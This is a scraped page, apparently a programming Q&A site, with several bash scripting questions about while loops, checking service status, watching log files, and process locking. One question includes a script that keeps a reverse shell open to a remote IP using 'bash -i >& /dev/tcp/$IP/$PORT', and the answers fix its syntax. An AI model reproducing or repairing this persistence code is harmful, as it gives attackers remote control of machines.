how to write a while loop in a bash file - linux

I am trying to write a while loop in bash as below:
while [!(netstat -pnlt | grep ":9393" | wc -l)];
do
echo "server not ready... waiting..."
sleep 2
done
I get
syntax error near unexpected token `netstat'
from console
what I want to do is:
to grep the service that using port 9393, count its lines. If lines number is 0,
it means the service is not running, so I will keep it wait.
OS: debian:jessie
please help me correct it... I looked up a lot of documents

Your test syntax is incorrect. Have a look at the man page for usage, or at the examples all over the Internet.
while [[ $(netstat -pnlt | grep -c ":9393 .*LISTEN") -eq '1' ]]; do
echo "server not ready... waiting..."
sleep 2
done
But with the edit you made to your question, the following would be better:
while ! netstat -pnlt | grep -q ":9393 .*LISTEN"; do
echo "server not ready... waiting..."
sleep 2
done

It's better to use lsof
while ! lsof -iTCP:9393 -sTCP:LISTEN >/dev/null; do
echo "server not ready... waiting..."
sleep 2
done

Related

How can I check if apache2 service is running with a bash script?

I want to monitor apache service for ubuntu but below script is not working.
#!/bin/bash
if [ $(ps aux | grep apache2 | wc -l) -gt 1 ]; then
echo "Statistic:0"
else
echo "Statistic:1"
fi
exit 0
I edited your question to make it readable - but I think it is working as expected once the format is cleaned up. It looks like you are trying to find out if apache2 is running.
#!/bin/bash
if [ $(ps aux | grep apache2 | wc -l) -gt 1 ]; then
echo "Statistic:0"
else
echo "Statistic:1"
fi
exit 0
Depending on what "flavor" of linux you are running, the following might be a better option for you. You can also use is-enabled, is-failed, to check other status.
if systemctl is-active -q apache2; then
echo "Statistic:0"
else
echo "Statistic:1"
fi

Shellscript to monitor a log file if keyword triggers then run the snmptrap command

Is there a way to monitor a log file using shell script like
tail -f /var/log/errorlog.txt then if something like down keyword appears, then generate SNMPTRAP to snmp manager and continues the monitoring
I have a SNMP script available to generate SNMPTrap and it looks like
snmptrap -v v2c -c community host "Error message"
Lets the say the script name is snmp.sh
My question is how to perform the below operation
tail the logs
if keyword[down] matches then use snmp.sh script to send alert
else leave
As per the suggestion i tried this
tail -F /data/log/test.log |
egrep -io 'got signal 15 | now exiting' |
while read -r line ;
do
case "$line" in
"got signal 15")
echo "hi"
;;
"now exiting")
echo "hi2"
;;
*)
esac
done
but the problem is tail is not working here with case statement, whenever the new log details added its not going to the case statement and echos the output
I could get the output if i use cat/less/more
Could you someone please tell what mistake i have done here ?
Thanks in advance
It sounds like the pattern you want is this:
tail -f /var/log/errorlog.txt | grep -e down -e unmounted | while read -r line
do
case "$line" in
down)
./snmp.sh …
;;
unmounted)
./snmp.sh …
;;
*)
echo "Unhandled keyword ${line}" >&2
exit 1
esac
done
try
tail -f /var/log/errorlog.txt | grep "down" | while read line; do snmp.sh; done

Concurrency in linux

I am trying to write a small shell script, make it go to sleep for some amount of time like 20 seconds and then run it. Now if i open another terminal and try to run the same script, it shouldn't run as the process is running else where. How do I do it?
I know i should write something, make it go to sleep captures its pid and write a condition that if this pis is running somewhere then don't let it run anywhere. but how do i do it? Please give a code.
echo "this is a process"
sleep 60
testfilepid = `ps ax | grep test1.sh | grep -v grep | tr -s " " | cut -f1 -d " "| tail -1`
echo $testfilepid
if [[ $tesfilepid = " " ]]
sh test1.sh
else
echo "this process is already running"
fi
This is what I tried. when i execute this in 2 windows, both the windows give me the output this is a process.
You could use pgrep to check that your script/process is running, and negate the output, this is a very basic example that could give you an idea:
if ! pgrep -f sleep >/dev/null; then echo "will sleep" && sleep 3; fi
Notice the !, pgrep -f sleep will search for a process matching against full argument lists. (you could customize this to your needs). so if nothing matches your pattern then your script will be called.

Error "Integer Expression Expected" in Bash script

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

How to get watch to run a bash script with quotes

I'm trying to have a lightweight memory profiler for the matlab jobs that are run on my machine. There is either one or zero matlab job instance, but its process id changes frequently (since it is actually called by another script).
So here is the bash script that I put together to log memory usage:
#!/bin/bash
pid=`ps aux | grep '[M]ATLAB' | awk '{print $2}'`
if [[ -n $pid ]]
then
\grep VmSize /proc/$pid/status
else
echo "no pid"
fi
when I run this script in bash like this:
./script.sh
it works fine, giving me the following result:
VmSize: 1289004 kB
which is exactly what I want.
Now, I want to run this periodically. So I run it with watch, like this:
watch ./script.sh
But in this case I only receive:
no pid
Please note that I know the matlab job is still running, because I can see it with the same pid on top, and besides, I know each matlab job take several hours to finish.
I'm pretty sure that something is wrong with the quotes I have when setting pid. I just can't figure out how to fix it. Anyone knows what I'm doing wrong?
PS.
In the man page of watch, it says that commands are executed by sh -c. I did run my script like sh -c ./script and it works just fine, but watch doesn't.
Why don't you use a loop with sleep command instead?
For example:
#!/bin/bash
pid=`ps aux | grep '[M]ATLAB' | awk '{print $2}'`
while [ "1" ]
do
if [[ -n $pid ]]
then
\grep VmSize /proc/$pid/status
else
echo "no pid"
fi
sleep 10
done
Here the script sleeps(waits) for 10 seconds. You can set the interval you need changing the sleep command. For example to make the script sleep for an hour use sleep 1h.
To exit the script press Ctrl - C
This
pid=`ps aux | grep '[M]ATLAB' | awk '{print $2}'`
could be changed to:
pid=$(pidof MATLAB)
I have no idea why it's not working in watch but you could use a cron job and make the script log to a file like so:
#!/bin/bash
pid=$(pidof MATLAB) # Just to follow previously given advice :)
if [[ -n $pid ]]
then
echo "$(date): $(\grep VmSize /proc/$pid/status)" >> logfile
else
echo "$(date): no pid" >> logfile
fi
You'd of course have to create logfile with touch.
You might try just running ps command in watch. I have had issues in the past with watch chopping lines and such when they get too long.
It can be fixed by making the terminal you are running the command from wider or changing the column like this (may need to adjust the 160 to your liking):
export COLUMNS=160;

Resources